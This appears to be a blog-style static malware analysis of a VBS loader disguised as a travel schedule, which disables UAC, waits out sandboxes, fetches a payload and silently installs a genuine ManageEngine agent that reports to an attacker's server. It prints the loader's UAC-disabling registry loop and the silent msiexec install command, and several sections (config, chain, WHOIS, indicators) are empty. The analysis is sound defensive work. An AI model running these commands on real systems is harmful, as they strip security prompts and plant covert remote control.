The "Travel Schedule" That Wasn't: Inside a Loader That Trojanizes a Real RMM Tool

The Bait

It arrived as Travel Schedule .-2026.vbs — a filename engineered for exactly one purpose: get opened without a second thought. No macro warning, no “protected view,” just a script that Windows will happily run the moment it’s double-clicked.

I didn’t run it. Everything below came from reading it — static analysis only, nothing executed.

Stage One — a Loader Built to Be Invisible

Strip away roughly 350 lines of decoy — fake SHA-256-looking hex strings and junk variables with randomized names — and four real behaviors are left:

• Silences UAC. Loops an elevated reg add command until ConsentPromptBehaviorAdmin reads back 0 — the setting that lets admin-level actions proceed without a confirmation prompt.
• Waits out sandboxes. Sleeps a randomized 30–80 seconds, well past the short analysis windows most automated malware sandboxes use.
• Downloads a payload from a Base64-hidden URL, spoofing a normal Chrome user-agent.
• Removes the “downloaded from the internet” flag from the file it just fetched — the flag that would otherwise trigger a SmartScreen warning — before running it.

' the line that matters, isolated from ~350 lines of decoy padding
ATJ75 = "reg add ""HKLM\...\Policies\System"" /v ""ConsentPromptBehaviorAdmin"" /t REG_DWORD /d 0 /f"
Do
    If VHK31() Then Exit Do
    XCR70.ShellExecute "cmd.exe", "/c " & ATJ75, "", "runas", 0
Loop

Stage Two — Where It Gets Interesting

The downloaded zip doesn’t contain more malware in the usual sense. It contains a complete, genuine ManageEngine Endpoint Central deployment package — the exact kind of bundle an IT admin would use to remotely install monitoring software on a company laptop. setup.bat inside it is the real, unmodified ManageEngine setup wizard.

Sitting next to it is setup1.vbs — the file the first-stage loader specifically goes looking for by name. It runs the identical install command as the legitimate wizard, just silently and without asking:

msiexec.exe /i "UEMSAgent.msi" TRANSFORMS="UEMSAgent.mst"
    ENABLESILENT=yes REBOOT=ReallySuppress
    SERVER_ROOT_CRT="DMRootCA-Server.crt" DS_ROOT_CRT="DMRootCA.crt" /qn

A bundled config file, DCAgentServerInfo.json, tells the freshly-installed agent exactly which server to check in with:

The Full Chain

Six hops, one deliberate handoff point: everything before step four is custom attacker code; everything from step four onward is unmodified, legitimately-signed software just pointed somewhere it shouldn’t be.

Whose Server Is It?

WHOIS traces the IP through two layers of resale before running out of road:

Both allocation layers list their abuse contact as a generic @outlook.com address rather than a company domain — a pattern typical of low-verification VPS resale, which is exactly what makes infrastructure like this cheap and easy to rent for a short-lived campaign. It doesn’t identify the attacker; it just confirms the server sits on infrastructure built for exactly this kind of disposability.

Not a One-Off

The chain here — a document-style lure → VBS loader → UAC bypass → trojanized ManageEngine Endpoint Central agent — matches a campaign Microsoft’s Security Blog reported in March 2026. Their writeup names Malaysia as one of the regions hit hardest, with other regions seeing follow-on banking trojans or reconnaissance consistent with staging for ransomware or data theft.

Indicators of Compromise